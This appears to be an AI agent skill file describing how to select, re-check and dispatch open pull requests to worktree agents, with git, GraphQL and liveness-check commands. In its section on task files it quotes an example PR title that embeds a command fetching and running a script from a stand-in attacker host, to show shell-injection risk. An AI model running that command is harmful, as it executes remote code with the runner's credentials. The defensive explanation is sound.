Dispatch the PR queue
When to use this
Several PRs are open and the question is which of these are waiting on me, and can they be worked in parallel. This skill answers that and starts the work; it does not do the work.
Not this skill:
- One PR, named →
/verify-prdirectly. Dispatching a single unit just adds a worktree between you and the answer. - Your own in-flight work that has no PR yet →
/pr-create. - A quick static read → the built-in
/review.
What this skill does NOT do
It never verifies a PR and never addresses feedback itself. All of that happens inside a dispatched unit, in its own worktree, in its own pane. This skill selects, asks, composes, dispatches, and reports where the work went. If you find yourself running checks.sh, reading a diff for a verdict, or replying to a review thread, you have left this skill.
Step 0 — Fetch, and bring the base up to date
dispatch has no base or branch option. It runs git worktree add <dir> -b agent/dispatch-<name> in the caller's own working directory and with no start-point — ctx.working_dir in src/dispatch.rs feeding create_worktree in src/issue_dispatch_run.rs — and git resolves an absent start-point to HEAD. So whatever HEAD is at dispatch time is the base every unit in this batch inherits, and no flag anywhere overrides it.
What a stale base costs here is not the verdict — it is the instructions, which is why this step is easy to think unnecessary. /verify-pr's setup.sh builds its own ../<repo>-pr-<n> checkout from a fresh git fetch origin refs/pull/<n>/head and refreshes origin/<default-branch> with an explicit refspec before computing any merge-base, so the code under review is current no matter what the dispatch worktree was cut from. What is never re-fetched is the worktree the unit actually sits in — the copy of CLAUDE.md whose gate commands it runs, and the copy of .claude/skills/verify-pr/ it executes as its own instructions, setup.sh, scan.sh and checks.sh included. A stale base hands the unit last week's copy of the very skill it was dispatched to run, and nothing in its output can tell it so.
That is not a theoretical churn rate on this repo. Measured over the 30 days to 2026-08-30: 24 non-merge commits touched CLAUDE.md and 13 touched .claude/skills/verify-pr/. A base a handful of commits behind is a real chance of running last week's scan.sh against this week's rules, and of gating a merge recommendation on a rule that has since changed.
So bring the base up to date when it is safe to. Fetch first — this skill selects through gh and would otherwise never touch the remote at all — then read the state:
git fetch origin --quiet
git rev-parse --abbrev-ref HEAD # the branch every unit is cut from
git status --porcelain --untracked-files=no # ANY output means tracked changes
git rev-list --left-right --count HEAD...origin/main # "0 6" is 0 ahead, 6 behind
When HEAD is main, that status output is empty, and the ahead count is 0, fast-forward it and say you did. No prompt, no question — an up-to-date base is the default here, and the runner is told what happened rather than asked to authorise it:
git merge --ff-only origin/main
The sibling skills used to refuse to move the checkout at all, and this step deliberately does not. Read why before restoring that. The rule they carried was the runner may have local work, and this skill has no business moving their branch. That hazard is real and it is kept — it is precisely what the three preconditions test for. What was wrong was the scope: the rule declined every case because it distinguished none of them, and distinguishing them is three commands that cost nothing next to a fetch. Together the preconditions are the statement there is no local work here to move — no uncommitted tracked change, no commit that is not already on the remote, and the branch is the one the remote's is. A fast-forward under them rewrites nothing, discards nothing, creates no merge commit, and is undone exactly by git reset --hard <the sha you printed before moving>.
What declining costs was measured on 2026-08-30, on the sibling PRD queue rather than here: two units were dispatched from a local main six commits behind origin/main, and one of those six was the commit that introduced the desktop/ directory both units had been dispatched to work on. They were cut from a tree without it, could not have done anything, and were re-dispatched after a pull with not one original commit between them. A unit cannot discover this about itself — and a verifying unit is the worst placed of all to, because its instructions are the thing that is stale, so the check that would have caught it is the check that is out of date.
git merge --ff-only origin/main, never git pull, and the difference is not stylistic. The fetch above already put the ref in the repository, so the merge is purely local: no second network round trip, and nothing for a pull.rebase setting to reinterpret into a rebase of the runner's branch. It is also the second of two independent guards — the preconditions decide and --ff-only enforces, so if the two ever disagree the merge fails loudly instead of writing a merge commit onto main.
When the base cannot be brought up to date, do not touch the checkout. Three of the four cases below are precondition failures; the fourth is the merge itself refusing. Say which one it was, in these terms:
- Tracked changes present — name the files. They are invisible to the units either way: a unit's copy is made from the last commit (
docs/dispatcher-mode.md), so uncommitted work never reaches one. Committing or stashing is therefore the same fix in both directions, and it is the runner's to make rather than yours. Untracked files are deliberately not a blocker —--untracked-files=nois load-bearing above. A fast-forward that would clobber one fails cleanly by itself, and counting them as dirtiness would refuse on nearly every real checkout, reinstating "never update" by another route. HEADis notmain— every unit is cut from that branch, so every unit runs the gates and the skill scripts as they stand on it. Name the branch and its distance fromorigin/main. This is the sharper failure of the three, because nothing about it looks wrong: a feature branch dispatches exactly as smoothly asmaindoes, and a unit standing on one will happily verify a PR against instructions from an unmerged branch of the runner's own.HEADis ahead oforigin/main— there is nothing to fast-forward to, and the commits that put it ahead are inherited by every unit's branch. Report the count; pushing or moving is the runner's call.- The merge command itself fails despite every precondition passing — a fast-forward that would clobber a file
origin/mainnewly tracks is the concrete case. Treat that failure exactly like the three above: report the git error and do not proceed to dispatch. Decide on the exit status, never on the output — git printsUpdating <old>..<new>afterAborting, so a refusal ends in a line that reads exactly like a successful fast-forward.--ff-onlynever partially applies, so the checkout is unchanged and there is nothing to undo.
Do not stop the queue over a refusal. Nothing in step 1's selection depends on the checkout — it is all gh — so carry the refusal forward and put it in front of the runner at the same moment you ask how many to dispatch (step 2), where they are already weighing what the batch costs. Three answers are legitimate and all three are the runner's: dispatch anyway onto the older base, clear the blocker and dispatch after it, or defer the batch. Take their answer rather than picking one, and never clear the blocker on their behalf — committing, stashing or switching branch is precisely the local work this step refuses to touch.
Resolve it before the first dispatch, never between two. If the runner clears the blocker, re-read HEAD and dispatch. Updating mid-batch splits one batch across two bases, and the units already started keep the old one.
Then report the base as a distance from origin/main, not as a branch name (step 8). "cut from main" reads identically whether main is level with the remote or six commits behind it, which is exactly how the 2026-08-30 batch looked fine right up until the units did not.
If a later step in this file also checks the base, this one supersedes the deciding half of it. Issue #674 added such a step, written when surfacing was the policy; keep what it says about dispatch naming the base in its own success line, since that is a record written after the worktree exists and step 8 quotes it, and drop its instruction to surface and ask, which is what this step replaces.
Step 1 — Select the queue
Resolve the current user and the repo at runtime. Never hardcode a login: other maintainers run this skill too, and a hardcoded vfarcic silently gives them somebody else's queue.
ME=$(gh api user --jq .login)
read -r OWNER REPO < <(gh repo view --json owner,name --jq '"\(.owner.login) \(.name)"')
One rule: include every open PR where the ball is in the runner's court. There is exactly one exclusion — someone else's homework, meaning a PR the runner did not author that carries either unresolved review threads or a CHANGES_REQUESTED decision. Those are pending work already delegated to a specific person, and dispatching at them re-derives a verdict that has been delivered and not yet acted on, while talking over the author mid-fix.
Both halves of that test are needed, because a review body is not a thread. A reviewer who submits CHANGES_REQUESTED with only a body and no inline comments moves the ball without creating a single review thread, so a thread-only test reports unresolved: 0 and admits the PR. Measured on this repo on 2026-08-12: #471 (author prageethw, CHANGES_REQUESTED, 1 thread, 0 unresolved) was admitted by the thread-only form — and body-only changes-requested reviews are ordinary here, not exotic. #504 is the same shape with the counter at literally zero threads.
One caveat on "the author will act": a bot will not. The exclusion assumes the ball lands with a person who can pick it up, which is false for a Renovate or other bot-authored PR — a bot never resolves a thread, so anything that lands on one excludes that PR permanently rather than temporarily. Exclude only when the other author is a human; for a bot author, the ball is really back with the maintainers. This has never actually been reached here — across the last 60 closed PRs no bot-authored PR carried a single review thread — so treat it as a guard against a state that has not happened yet, not a bug being fixed.
Everything else is in, and the three interesting cases are worth naming because a narrower rule drops the ones that matter most:
- Not yours, no unresolved threads → needs verification. The classic review.
- Yours, no unresolved threads → needs verification too. You want the verdict whether or not you can ever approve it.
- Yours, with unresolved threads → needs the feedback addressed. This is the case a verification-only queue silently drops, and it is the one most loudly demanding attention — a PR of yours sitting on review comments nobody has answered.
There is deliberately no mode switch here, and CHANGES_REQUESTED excludes nothing on your own PR — it means the ball is emphatically in your court, and excluding it would hide exactly the wrong PRs. It excludes only on someone else's, where it means the opposite. What the unit does on arrival is decided per PR from the facts in its task text, not by a mode the queue picked in advance.
Measured on this repo on 2026-08-12, re-run after the CHANGES_REQUESTED half was added: of 11 open PRs this rule admits 9, excluding #471 and #506 — both prageethw's, both CHANGES_REQUESTED, and #471 with zero unresolved threads, which is precisely the case a thread-only exclusion missed. A verification-only rule (assignee-clear and zero unresolved and not CHANGES_REQUESTED) admits only 3 — #416, #467, #501 — dropping #464, #466, #469, #480, #499 and #504. All six are the runner's own, and each carries either unresolved threads (#466 has 7, #480 has 4, #499 has 2) or a changes-requested decision with none (#464, #469, #504). Both shapes mean the ball is in the runner's court; a verification-only queue hides both, which is the whole point.
Re-measure rather than trusting that line: it was 10 of 10 against 7 when written on 2026-08-10, and the gap moved in two days purely on ordinary review activity.
Unresolved threads are not expressible in gh pr list — no --json field carries them. GraphQL is the only route:
gh api graphql -f query='
query($owner:String!, $repo:String!, $cursor:String) {
repository(owner:$owner, name:$repo) {
pullRequests(states:OPEN, first:50, after:$cursor,
orderBy:{field:CREATED_AT, direction:ASC}) {
pageInfo { hasNextPage endCursor }
nodes {
number title isDraft headRefName isCrossRepository
author { login }
reviewDecision
assignees(first:10) { nodes { login } }
reviewRequests(first:10) { nodes { requestedReviewer { ... on User { login } } } }
reviewThreads(first:100) {
totalCount
pageInfo { hasNextPage endCursor }
nodes { isResolved }
}
}
}
}
}' -F owner="$OWNER" -F repo="$REPO" \
| jq -r --arg me "$ME" '.data.repository.pullRequests
| .pageInfo as $p
| .nodes[]
| {number, title, author: .author.login, draft: .isDraft, branch: .headRefName,
fork: .isCrossRepository, decision: .reviewDecision,
assignees: [.assignees.nodes[].login],
requested: [.reviewRequests.nodes[].requestedReviewer.login],
threads: .reviewThreads.totalCount,
more_threads: .reviewThreads.pageInfo.hasNextPage,
unresolved: ([.reviewThreads.nodes[] | select(.isResolved | not)] | length),
more_prs: $p.hasNextPage, next: $p.endCursor}
| . + {mine: (.author == $me)}
| . + {verdict: (if (((.unresolved > 0) or (.decision == "CHANGES_REQUESTED"))
and (.mine | not))
then "EXCLUDE - not yours, ball is with the author"
else "include" end)}'
Note --jq is replaced by a real jq pipe here: gh api --jq takes no --arg, so $ME cannot reach the filter that way. Keep every string in that filter free of apostrophes — the whole program is inside shell single quotes, and one ASCII ' in a message string ends the quoting silently.
The shape of the one exclusion: another maintainer's PR with the ball still on their side. #390 was exactly this earlier on 2026-08-10 with 6 unresolved threads, and had been cleared by the afternoon — which is a reminder that this is a live query and not a fixed list, and why step 3 exists.
Both page sizes are bounds you must act on, not disclaimers. The cursors are selected so the instruction is actually followable — re-run the same query with -F cursor=<endCursor> while more_prs is true, and for any PR whose more_threads is true, re-run the per-PR query in step 3 with reviewThreads(first:100, after:<its endCursor>) until it is false. Until you have, unresolved: 0 on that PR is unproven, not zero: a PR with 130 threads whose 6 unresolved ones are the most recent reports 0 and looks perfectly clear.
The PR truncation has a direction worth stating when you report it: orderBy is CREATED_AT ASC, so the 50 you keep are the oldest and truncation drops the newest — precisely the PRs most likely to be awaiting a first look. A user told only "the queue was truncated" will reasonably assume the stale end went missing.
assignees and requested are displayed, never filtered on. Neither is part of the rule. Selecting on assignees would drop the runner's own PRs whenever they are unassigned, and selecting on requested-reviewer is worse: .github/CODEOWNERS auto-request omits the author, and GitHub does not let a PR's author be a requested reviewer on their own PR at all — so $ME in requested can never be true there, and queueing your own PR would be impossible by construction. Both fields are shown so the human picking the batch can see who was actually asked and drop rows the rule should not.
Be honest about what that costs, because showing the fields does not discharge the concern — it moves it onto the human. That is the right place for it here, and only because the residual error is bounded and visible: an unassigned PR that is really someone else's shows up as a row, the user sees who was requested, and drops it before a single second of e2e time is spent. That acceptance is conditional, not permanent. It stops holding on either of two changes — if the maintainer set grows beyond two, where "unassigned" stops reading as "either of us could pick this up", or if this skill is ever run unattended, where there is no human in the loop to be the disambiguator. If you are reading this after either has happened, the field needs to become part of the rule.
Draft status is not a criterion either. A draft still verifies fine; carry the flag into the task text, because /verify-pr's Phase 0 acts on it and a draft verdict is advice rather than a merge decision.
Step 2 — Show the queue and ask how many
Print every included PR with number, title, author, whether it is the runner's, the unresolved-thread count, the review decision, and who is requested. Then say, per row, what the unit would most likely do — verify, address feedback, or both — so the user is choosing between concrete pieces of work rather than bare numbers. Show the excluded ones too, one line each with the reason; exclusions are what the user is most likely to disagree with, and they cannot correct a rule they cannot see.
Then ask how many to dispatch, recommending 2–3. Do not assume "all of them", and do not offer "all" as the recommended option.
Each unit that verifies runs /verify-pr, which since issue #502 reads the PR's e2e-deterministic CI run rather than reproducing lane 1 locally — so a verification is now dominated by the release build, test-fast and the windows cross-check rather than by tens of minutes of PTY time. It still builds its own multi-GB target/, and a unit may opt into a local lane-1 run with --e2e where CI's is missing. How much of that to spend at once is the user's call, not yours.
The count is a security decision, not only a cost one. N units means N concurrent agents, N independent chances for the untrusted-content problem in step 5 to land, and N simultaneous cargo build / nextest / xtask runs over code nobody has read yet. That is what a "just do all of them" answer is really buying.
It is also a resource decision with a misleading failure mode. Each verifying unit is a dispatch worktree plus /verify-pr's own ../<repo>-pr-<n> checkout, so up to three multi-GB target/ trees per PR. CLAUDE.md rule 14 records how disk and RAM pressure surfaces here — a misleading linking with 'cc' failed, or a SIGKILL on rustc — and an agent hitting either will attribute it to the PR under review rather than to the batch size. Concurrent e2e suites also contend for timing, which shows up as phantom flakes in every one of them at once — the contention #415 measured at 6-7 of 40 files failing in parallel against 40/40 at -j 1. Those are artifacts of your own batch size. #908 requires the lane to be green before a PR is done, but it is deliberately not a licence to quarantine a test per contended failure — rerun in isolation first, and act only on what survives that.
A smaller batch is also what makes step 4's risk note worth writing properly. Three tailored tasks beat eight generic ones.
Step 2b — Establish the shape, by asking
A unit starts either as one agent or as a multi-role orchestration. Which one the runner wants is theirs to choose — ask, never infer.
dot-agent-deck dispatch --list-targets
Run that once — it is a read-only daemon round-trip and its answer describes the repo, not the PR — then show the runner the output and ask the shape once per PR, as a single prompt carrying one line per PR: the number, and what step 2 already said that unit would most likely do — verify, address feedback, or both. That is the scope the answer follows from. Pass the matching flag explicitly on every dispatch (--single or --orchestration '<name>'). With neither, the shape falls back to whatever the repo's config implies, which is the guess this step exists to avoid.
--single is usually the right answer here, and that is exactly what made hardcoding it invisible. docs/dispatcher-mode.md uses this skill's own workload as its example of the single-agent case — "verify these three PRs" → usually one agent each — and /verify-pr is written as one agent walking its phases in order. But "usually right" is not "the runner's call", and the two come apart on the case step 4 calls the common one: a PR that has never been verified and carries a pile of unresolved threads is two jobs, and #480 — this skill's own PR — was exactly that. This skill's dispatch template read --single unconditionally until issue #674, which is a default that is right most of the time and a guess the rest of it, stored where nobody would think to reconsider it.
One answer can still cover the whole batch — as the runner's answer, not as your assumption. When they say "single for all of them", take it and stop asking. Asking per PR costs one extra line in one prompt; not asking costs a unit started in a shape nobody chose.
Both the query and the dispatch need a deck pane. dot-agent-deck dispatch reads DOT_AGENT_DECK_PANE_ID and exits FAILURE without it, and that check runs before the --list-targets branch (src/main.rs, the Commands::Dispatch arm), so outside a managed pane both fail with Error: DOT_AGENT_DECK_PANE_ID environment variable not set. If you see that, nothing can be dispatched from here — report the queue and say so, rather than falling back to doing the reviews yourself. If instead the error is the daemon did not answer list-targets, there is no daemon or the build is older: take that to the runner rather than picking a shape, since a failed query is not a reason to start guessing.
Step 3 — Re-check state immediately before each dispatch
Re-query each PR right before dispatching that PR, not once up front for the whole batch. PRs move while a queue is being worked: in the session this skill came from, one PR had been closed at listing time and was reopened later, and two others were merged between listing and review. #390's six unresolved threads cleared in the space of an afternoon.
Running scan.sh gives you the fresh state and step 4's file buckets in one read-only call:
bash .claude/skills/verify-pr/scan.sh <n>
It runs from the main checkout, creates nothing, and touches no worktree. Read PR_STATE, PR_DRAFT, PR_HEAD_BRANCH, PR_IS_FORK, PR_AUTHOR and PR_HEAD_SHA from it. Carry PR_HEAD_SHA into the task text: it is the commit the PR proposed before the unit touched anything, and it is what the pre-push gate in step 4 diffs from.
scan.sh carries neither the unresolved-thread count nor the review decision, so pair it with a single-PR repeat of step 1's query:
gh api graphql -f query='
query($owner:String!, $repo:String!, $pr:Int!, $cursor:String) {
repository(owner:$owner, name:$repo) {
pullRequest(number:$pr) {
state
author { login }
reviewDecision
reviewThreads(first:100, after:$cursor) {
totalCount
pageInfo { hasNextPage endCursor }
nodes { isResolved }
}
}
}
}' -F owner="$OWNER" -F repo="$REPO" -F pr=<n> --jq '
.data.repository.pullRequest
| {state, author: .author.login, decision: .reviewDecision,
threads: .reviewThreads.totalCount,
more_threads: .reviewThreads.pageInfo.hasNextPage,
next: .reviewThreads.pageInfo.endCursor,
unresolved: ([.reviewThreads.nodes[] | select(.isResolved | not)] | length)}'
Skip the PR and say so if state is no longer OPEN, or if it has become someone else's homework — unresolved > 0 or decision == "CHANGES_REQUESTED" on a PR whose author is not $ME. That is the exact negation of step 1's rule, both halves of it, so the re-check cannot admit what the listing excluded. Never silently drop one, and never quietly substitute the next PR down the queue to keep the count the user asked for.
Re-check author rather than trusting the listing: it is what decides the push permission in step 4, so a stale value is a permission bug, not a cosmetic one.
When the two sources disagree, this GraphQL author.login is the authority — not scan.sh's PR_AUTHOR. Both are available in this step and they name the same person in every ordinary case, so say which decides before a weird case makes you guess. scan.sh emits PR_AUTHOR as free text in a KEY=value stream (scan.sh:51) four lines after the attacker-controlled PR_TITLE (scan.sh:47), which makes it the more forgeable of the two by construction, whether or not a title can actually carry a newline today. Use PR_AUTHOR for reporting; decide the permission from the typed GraphQL field.
The 100-thread bound applies here too, and this is where it bites hardest. If more_threads is true, page with -F cursor=<next> until it is false before trusting unresolved: 0 — on someone else's PR that zero is the whole exclusion test, and a PR with 130 threads whose unresolved ones are the most recent reads as clear and burns a whole verification unit.
Yes, the dispatched agent will run scan.sh again as its own Phase 0. That duplication is intentional and nearly free: a handful of read-only API calls, and it is what lets you write a tailored risk note without reading the diff yourself.
Step 3b — Skip PRs already under an active unit
Check this before dispatching, or you will dispatch a duplicate. It nearly happened for #465 and #471 in the session this skill came from, caught only because the operator remembered. Two agents verifying one PR is not merely wasteful: they race on ../<repo>-pr-<n>, and the second one's setup.sh collides with a checkout the first is building in.
A live unit's claim is its branch, because dispatch refuses while agent/dispatch-<name> exists:
n=<pr-number>
claim=$(git branch --list "agent/dispatch-verify-pr-$n" "agent/dispatch-verify-pr-$n-*" \
--format='%(refname:short)')
Match exactly-or-dash, never -$n*. A naive agent/dispatch-verify-pr-$n* glob makes PR #4 match agent/dispatch-verify-pr-465-0810, and #46 match it too — verified by string test. The skill would then report a PR as already-under-review because an unrelated PR's unit exists, and skip it silently. Both spellings are needed on the left because units have been named both verify-pr-<n> and verify-pr-<n>-<MMDD>.
If a claim exists, decide whether it is live — and decide it from process cwd, never from file mtime:
claim=$(printf '%s\n' "$claim" | head -1) # both spellings can match; take one
wt=$(git worktree list --porcelain \
| awk -v b="refs/heads/$claim" '/^worktree /{p=$2} /^branch /{if ($2==b) print p}')
if [ -z "$wt" ]; then
echo "DEAD - branch $claim has no worktree"
else
for p in /proc/[0-9]*; do
c=$(readlink "$p/cwd" 2>/dev/null) || continue
case "$c" in "$wt"|"$wt"/*) echo "LIVE ${p#/proc/}" ;; esac
done
fi
The empty-$wt guard is load-bearing, not defensive padding. With wt="" the case pattern degrades to /*, which matches every absolute path — measured on one box, 250 processes reported LIVE — so every PR looks claimed and the skill silently declines to dispatch anything. It is reachable in two states this document itself calls routine: a branch that outlived its worktree, which step 6 names as dispatch's second refusal mode, and a two-line $claim when both spellings match, which makes awk's refs/heads/$claim match nothing. Hence the head -1 as well. The same degradation applies to the macOS grep "$wt" form below, where an empty pattern matches every line — check $wt there too before sweeping.
Directory mtime is not liveness and will lie to you. An agent sitting in a polling loop — waiting on a background checks.sh, or on CI — writes nothing, so the directory timestamp goes stale while the agent is entirely alive. Measured while writing this skill: this very worktree showed 12 live PIDs with cwd inside it and a directory mtime 703 minutes old. Two units were also read as dead by mtime and were both running. Reading mtime as idleness is how you conclude a unit has died and dispatch the duplicate this step exists to prevent.
That probe is Linux-only. On macOS use lsof -a -d cwd -p <pid>, or lsof -d cwd | grep "$wt" to sweep; the principle is identical — ask the kernel what processes are in the directory, not what the filesystem last wrote.
Live claim → skip, and name the unit so the user can go to its tab. No claim, or a claim with no live process → free to dispatch, but prefer a new name per step 6 rather than reusing the dead one.
Branch-absence does not mean "never verified". Measured on this repo: zero agent/dispatch-verify-pr-* branches existed while nine *-pr-<n> and *-pr-<n>-base worktrees from finished verifications sat on disk. Those units were cleaned up branch-and-all; their orphaned inner checkouts are the only trace. So this step answers "is a unit running now", which is what prevents a duplicate — it is not a record of review history, and must never be reported as one.
Step 4 — Compose a per-PR task, with a risk note
One dispatch per PR, and the task goes in a file — never inline:
dot-agent-deck dispatch <name> (--single | --orchestration '<orchestration>') --task-file '.dot-agent-deck/<task-slug>.md'
The shape flag is whatever the runner chose for this PR in step 2b — never a default carried in this template. It read --single unconditionally until issue #674, in a skill that had no shape step to be overridden by: a template is the one place an answer belonging to the runner cannot be stored, because it is followed rather than reconsidered.
--task-file is the default here, not an escape hatch, and this is a safety rule rather than an ergonomic one. The product's own delegation protocol says exactly that, compiled into the binary and handed to every orchestrator it spawns (src/orchestrator_context.rs:81-117): --task "…" is a fallback that is safe only when the whole task is a single line of plain text with no backticks, no $, no ", no \ and no !. The template below is a multi-paragraph block, so it fails that allowlist on shape alone — before anyone looks at what it contains.
Why it matters more here than anywhere else: this task text carries attacker-controlled strings. The PR title, head branch name and author login are all written by whoever opened the PR, and on a public repo that is any stranger. Everything after --task is processed by your own shell — the orchestrating one, holding your gh credentials and repo write — before dot-agent-deck ever sees argv. Inside double quotes $(…), backticks and $VAR are still live, so a PR titled
Fix a typo $(curl -sf https://evil.example/p|sh)
runs that command as you. Git's ref rules forbid space, ~, ^, :, ?, *, [ and \ in a branch name, but the permitted set is wider than it looks: measured with git check-ref-format --branch rather than assumed, git **accepts** $, `, (, ), !, ;, |, &, ' and >. That is every shell metacharacter that matters, so headRefName is the same sink by a second route — and it is a sink for command chaining as well as substitution.
The non-malicious case is worse than it looks, and the same protocol text says why: a swallowed $(…) or \ is dropped silently while the dispatch still reports success. There is no signal distinguishing "dispatched correctly" from "dispatched with the risk note half-eaten", so a quoting accident produces a confident review of the wrong instructions.
Four rules for producing that file, carried across from src/orchestrator_context.rs:84-100. The last two are about the path, not the contents:
- Write it with your file-writing tool. Never with shell redirection or a heredoc — a line of the task text can terminate the heredoc, and everything after it is then executed as shell commands.
- Invent a fresh slug from
[a-z0-9][a-z0-9-]*, at most 40 characters.verify-pr-<number>-<MMDD>is the natural one. Never build it from the PR title, the branch name, or any other text you did not write yourself — that is the same injection by way of a filename. - No
/, no\and no..in the slug; the file goes directly in.dot-agent-deck/. - Single-quote the whole path in every command you run.
Delete the file once the dispatch has succeeded, and keep credentials out of it — task files persist on disk.
Fence the untrusted fields inside the file, too. A file removes the shell as an execution path; it does not make the title trustworthy. Put it in a labelled, quoted block so the boundary is visible to the agent reading it rather than implicit. The label is what carries the boundary, not the delimiter — a > prefix is advisory prose, not a collision-proof fence, so never let the only signal be the punctuation. The same applies when you print titles to the operator's terminal in step 2: that text is unsanitised and is being rendered by a terminal emulator.
The task text must be self-contained. The dispatched agent is a fresh process in a fresh worktree with none of this conversation in its context. It cannot ask you what you meant.
Reference skills and files by path, never by pasting their contents. The worktree is a full checkout — .claude/skills/verify-pr/SKILL.md and CLAUDE.md are already in it. A pasted copy is a fork that goes stale the moment either file changes.
The unit's job
Every task states the same job:
Move this PR toward resolution — verify it, address outstanding review feedback, or both — and end with a clear statement of what remains.
"Both" is the common case, not an edge case. #480, this skill's own PR, had five unresolved threads and had never been verified. A task that offers only one of the two will pick one and leave the other unmentioned.
Verification is the DEFAULT. A unit that decides to skip it must say so explicitly, and give its reason, in its final message. Silent skipping is the dangerous direction — an unverified PR reported as resolved reads exactly like a verified one — so make it visible, the same discipline as never applying a silent cap.
The feedback half needs no skill of its own: CLAUDE.md already governs it end to end — rule 2's fmt/clippy gates before any commit, rule 8's requirement to respond to every finding (fix it, or say why not), thread resolution, and the stale-approval mechanics. /verify-pr is invoked for the verification half only, and stays unchanged and read-only by this skill: nothing here edits it, and the unit must not either.
Check the closing references against what the PR actually does
Every task also asks the unit one question about the PR's own claim: does each Closes #N / Fixes #N reference name an issue this diff actually finishes? Merging a PR closes those issues automatically, so an over-reaching reference does not merely mislabel the PR — it silently closes live work, and the issue disappears from /issue-queue and /prd-queue without anyone deciding that it should.
This is the same defect the queue skills' premise spot-check exists for, arrived at from the other end. There it is a stale issue claiming to be live; here it is a live issue about to be recorded as done. Both are a claim nobody checked against reality before acting on it.
The failure mode to look for is a PR that fixes one family of a multi-part issue and closes the whole thing. #818 is the shape: it tracks a whole red e2e-deterministic lane across several families, and a PR fixing one of them should say Refs #818, not Closes #818. PR #837 is the worked example of getting it right after the fact — it declares Closes for #832 only, and carries #818 as a prose Refs, with the remaining families named at the end.
The check is cheap and the answer is a reading, not a grep:
gh pr view <n> --json closingIssuesReferences,files \
-q '"CLOSES: "+([.closingIssuesReferences[].number]|map(tostring)|join(","))+"\nFILES: "+([.files[].path]|join(" "))'
gh issue view <N> --json title,body -q '.title, "", .body'
Read the body, not only the title. Multi-part scope lives in the body: #818's several families are invisible from its title, and "does this diff finish it?" cannot be answered against a title alone — which is the exact case this check exists for.
A reference that over-reaches is a finding to raise, not something to silently fix — on someone else's PR the unit must never push, and on the runner's own the narrowing is a body edit the runner should see. Say which issues the diff genuinely finishes and which it only advances.
Push permission is keyed to AUTHORSHIP
The selection step already knows who wrote each PR, so the task states the fact and the permission that follows from it — no mode, no inference:
- PR authored by the runner → "This PR is yours. You may commit and push to
<headRefName>." Addressing feedback means changing code, and it is the runner's own branch. - PR authored by anyone else → "This is
<author>'s branch. NEVER push to it, under any circumstances, with or without say-so."
Permission is not scope, and the own-PR case needs both. "You may push to your own branch" answers whether, not what, and the two fail differently. A push that broadens past the conflict resolution or the specific change the user asked for violates no permission, so nothing above catches it — it is an unrelated edit riding into a PR under an approval given for something else, in a repo where dismiss_stale_reviews_on_push means the approval it invalidates is somebody's finished work. The task therefore carries an explicit scope bound next to the permission, naming cargo fmt outright: a lint tidy-up is the edit an agent is most likely to read as obviously correct and therefore in bounds, and it is the one that rewrites the most lines while looking like nothing.
This is what a mode switch was being invented to carry, and keying it to authorship is strictly better: it is a fact the queue already has, it cannot drift out of sync with what the unit is doing, and it makes the dangerous case impossible rather than conditional. Pushing to a contributor's branch stops being a case that needs covering at all — so the conflict-resolution push exception below only ever applies to the runner's own PRs, and maintainerCanModify never needs consulting, because the answer is "never push" before the field is even read.
The risk note
Every task carries a RISK NOTE of one to three sentences, tailored to what this P
…(truncated)